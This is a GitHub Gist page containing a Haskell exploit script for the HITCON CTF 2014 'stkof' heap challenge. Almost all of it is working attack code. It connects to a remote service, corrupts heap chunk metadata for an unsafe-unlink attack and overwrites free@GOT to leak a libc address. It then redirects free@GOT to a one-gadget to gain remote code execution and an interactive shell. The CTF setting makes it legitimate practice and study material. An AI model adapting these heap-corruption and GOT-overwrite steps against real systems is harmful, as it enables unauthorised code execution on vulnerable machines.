Created
September 14, 2017 06:12
-
-
Save Tosainu/073d998e983743444302ce4318d0b0b6 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env stack | |
-- stack --stack-yaml ./stack.yaml runghc --package pwn | |
-- HITCON CTF 2014: stkof | |
-- https://github.com/ctfs/write-ups-2014/tree/master/hitcon-ctf-2014/stkof | |
-- tested env: | |
-- $ cat /etc/os-release | |
-- NAME="Ubuntu" | |
-- VERSION="16.04.3 LTS (Xenial Xerus)" | |
-- ... | |
-- | |
-- $ sha1sum /lib/x86_64-linux-gnu/libc-2.23.so | |
-- 14c22be9aa11316f89909e4237314e009da38883 /lib/x86_64-linux-gnu/libc-2.23.so | |
{-# LANGUAGE OverloadedStrings #-} | |
import Control.Monad | |
import Data.Bits | |
import qualified Data.ByteString.Char8 as BS | |
import Data.Maybe | |
import Data.Monoid ((<>)) | |
import Numeric (showHex) | |
-- https://github.com/Tosainu/pwn.hs | |
import Pwn | |
showByteString :: (Show a) => a -> BS.ByteString | |
showByteString = BS.pack . show | |
main :: IO () | |
main = do | |
r <- remote "192.168.122.10" 4000 | |
-- let libc_main_arena' = 0x3a5620 | |
-- libc_one_gadget' = 0x41374 | |
let alloc_count = 0x00602100 | |
buf_list = 0x00602140 | |
free_plt = 0x00400750 | |
free_got = 0x00602018 | |
puts_plt = 0x00400760 | |
puts_got = 0x00602020 | |
libc_puts' = 0x0006f690 | |
libc_one_gadget' = 0x000f0274 | |
allocate size = do | |
sendline r "1" | |
sendline r $ showByteString size | |
index <- BS.readInt <$> recvline r -- allocated index or "FAIL" | |
case index of | |
Just (n, _) -> do | |
recvline r -- "OK" | |
return $ Just n | |
Nothing -> return Nothing | |
write index buffer = do | |
sendline r "2" | |
sendline r $ showByteString index | |
sendline r $ showByteString $ BS.length buffer | |
send r buffer | |
recvline r -- "OK" or "FAIL" | |
delete index = do | |
sendline r "3" | |
sendline r $ showByteString index | |
recvline r -- "OK" or "FAIL" | |
allocate 0x21000 >>= delete . fromJust -- buf1 | |
info "allocate 0x90 bytes buffer x4 (buf2 ~ buf5)" | |
replicateM_ 4 $ allocate 0x90 | |
info "overwrite heap structures via buf2" | |
let buf = BS.concat $ catMaybes | |
[ -- buf2 | |
Just $ BS.replicate 0x90 'A' | |
-- chunk 3 | |
, p64 0x00 -- prev_size | |
, p64 0xb1 -- size (0xa1 -> 0xb1) | |
, Just $ BS.replicate 0xa0 'A' | |
-- chunk 4 | |
, p64 0x00 -- prev_size | |
, p64 0x91 -- size (0xa1 -> 0x91) | |
, p64 (buf_list + 0x08) -- fd (&buf_list[4] - 0x18) | |
, p64 (buf_list + 0x10) -- bk (&buf_list[4] - 0x10) | |
, Just $ BS.replicate 0x70 'A' | |
-- chunk 5 | |
, p64 0x90 -- prev_size | |
, p64 0xa0 -- size (0xa1 -> 0xa0) | |
] | |
write 2 buf | |
info "free buf3 (unsafe unlink attack!)" | |
delete 3 | |
-- gef➤ x/10gx 0x00602140 | |
-- 0x602140: 0x0000000000000000 0x0000000000000000 | |
-- 0x602150: 0x00000000025e8030 0x0000000000000000 | |
-- 0x602160: 0x0000000000602148 0x00000000025e8210 | |
-- 0x602170: 0x0000000000000000 0x0000000000000000 | |
-- 0x602180: 0x0000000000000000 0x0000000000000000 | |
info "leak informations" | |
write 4 $ fromJust $ p64 free_got -- buf_list[1] = free_got | |
write 1 $ fromJust $ p64 puts_plt -- *(buf_list[1]) = puts_plt | |
write 4 $ fromJust $ p64 puts_got -- buf_list[1] = puts_got | |
sendline r "3" | |
sendline r "1" | |
leak <- recvline r | |
let leaklen = (BS.length leak) - 1 | |
leak' = (BS.take leaklen leak) <> BS.replicate (8 - leaklen) '\x00' | |
Just libc_puts = u64 leak' | |
libc_base = libc_puts - libc_puts' | |
success $ " libc_base: 0x" <> showHex libc_base "" | |
recvuntil r "OK\n" | |
info "trigger One-gadget RCE" | |
write 4 $ fromJust $ p64 free_got -- buf_list[1] = free_got | |
write 1 $ fromJust $ p64 $ libc_base + libc_one_gadget' -- *(buf_list[1]) = one-gadget-RCE | |
sendline r "3" | |
sendline r "2" | |
interactive r |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment